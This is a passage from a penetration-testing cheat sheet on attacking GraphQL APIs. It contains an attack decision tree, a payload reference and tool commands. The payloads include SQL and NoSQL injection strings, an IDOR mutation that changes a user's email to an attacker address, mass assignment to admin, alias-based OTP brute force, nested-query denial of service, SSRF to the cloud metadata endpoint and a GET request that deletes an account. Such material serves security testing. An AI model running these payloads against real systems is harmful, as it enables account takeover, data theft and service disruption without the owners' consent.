└── Persisted queries (whitelist-only in high-security contexts)

DETECTION:
├── Log all GraphQL operations with resolved types
├── Alert on introspection queries in production
├── Alert on deeply nested queries (depth > threshold)
├── Alert on large batches (> 10 operations)
└── WAF rules for GraphQL injection patterns

16. Master Cheat Sheet

Attack Decision Tree

GraphQL endpoint found?
│
├── Step 1: Fingerprint framework (graphw00f)
│
├── Step 2: Try introspection
│   ├── Enabled? → dump full schema → enumerate queries, mutations, fields
│   └── Disabled?
│       ├── Try field suggestion bypass (typo a field name)
│       ├── Try __type instead of __schema
│       ├── Try GET-based introspection
│       └── Run clairvoyance for blind reconstruction
│
├── Step 3: Enumerate interesting targets from schema
│   ├── Admin queries/mutations without "admin" in path?
│   ├── Deprecated fields still accessible?
│   ├── Sensitive field names? (password, hash, secret, token, key)
│   └── File/URL-related mutations? (upload, import, fetch, webhook)
│
├── Step 4: Authorization testing
│   ├── Try mutations without auth (unauthenticated)
│   ├── Try admin mutations with regular user token
│   ├── Try IDOR — change IDs in queries and mutations
│   └── Try adding role/admin fields to mutation inputs
│
├── Step 5: Injection testing
│   ├── SQL Injection in all arguments (string and int types)
│   ├── NoSQL Injection (object operators: {$gt, $ne, $regex})
│   ├── Command Injection in file/system-related args
│   ├── SSTI in template-rendered args
│   └── Path traversal in file path args
│
├── Step 6: Abuse testing
│   ├── Alias batching → brute force login / OTP
│   ├── Array batching → rate limit bypass
│   ├── Deep nesting → DoS
│   └── Fragment bombs → complexity DoS
│
└── Step 7: CSRF / transport
    ├── Try GET-based mutations (CSRF via img/script)
    ├── Check WebSocket subscriptions (auth required?)
    └── Check Origin validation on WS upgrade

Quick Payload Reference

# ── Introspection Check ──
{ __typename }
{ __schema { queryType { name } } }
{ __type(name: "Query") { fields { name } } }

# ── Full Schema Dump (one-liner) ──
{ __schema { types { kind name fields(includeDeprecated:true) { name args { name type { kind name ofType { kind name } } } type { kind name ofType { kind name } } } } } }

# ── Field Suggestion Trigger ──
{ uzer { id } }
{ adm1n { id } }

# ── SQLi Test ──
{ user(id: "1'") { id } }
{ user(id: "1 AND SLEEP(5)") { id } }
{ search(term: "x' UNION SELECT null,version()--") { results { id } } }

# ── NoSQLi Test ──
{ user(email: {$ne: null}) { id email password } }
{ login(email: {$gt: ""}, password: {$ne: null}) { token } }

# ── IDOR Test ──
{ user(id: 1) { id email passwordHash role apiKey } }
mutation { updateUser(id: 1, input: { email: "attacker@evil.com" }) { id } }

# ── Mass Assignment ──
mutation { updateProfile(input: { role: "admin", isAdmin: true, balance: 999999 }) { id role } }

# ── Alias Brute Force (OTP) ──
mutation {
  a0000: verifyOTP(code: "0000") { success token }
  a0001: verifyOTP(code: "0001") { success token }
  a1337: verifyOTP(code: "1337") { success token }
}

# ── DoS — Nested Query ──
{ user(id:1){ friends { friends { friends { friends { friends { id } } } } } } }

# ── SSRF via Mutation ──
mutation { importFromURL(url: "http://169.254.169.254/latest/meta-data/") { content } }

Tool Quick Reference

# Framework detection:
graphw00f -d -t https://target.com/graphql

# Schema dump + query generation:
inql -t https://target.com/graphql -o ./output/

# Blind schema reconstruction:
clairvoyance -u https://target.com/graphql -o schema.json

# SQLi via GraphQL:
sqlmap -r req.txt --dbms=mysql --batch --level=3

# Nuclei scan:
nuclei -u https://target.com/graphql -tags graphql -v

# Introspection dump via curl:
curl -s -X POST https://target.com/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"{ __schema { types { name fields(includeDeprecated:true) { name } } } }"}' \
  | jq '.data.__schema.types[] | select(.fields != null) | {name, fields: [.fields[].name]}'

# Batch brute force (login):
# python3 batch_bruteforce.py <target> <wordlist>

# Check for GET-based mutations (CSRF):
curl -s "https://target.com/graphql?query=mutation{deleteAccount{success}}"

# WebSocket subscription test:
wscat -c wss://target.com/graphql -H "Sec-WebSocket-Protocol: graphql-transport-ws"

Useful SecLists for GraphQL

# GraphQL-specific wordlists:
/usr/share/seclists/Discovery/Web-Content/graphql.txt
/usr/share/seclists/Discovery/Web-Content/api/graphql-introspection-query.txt

# Generic API wordlists useful for field name fuzzing:
/usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt
/usr/share/seclists/Discovery/Web-Content/common.txt

# Use with clairvoyance for blind schema reconstruction:
clairvoyance -u https://target.com/graphql \
  -w /usr/share/seclists/Discovery/Web-Content/graphql.txt \
  -o schema.json

← Web top ↑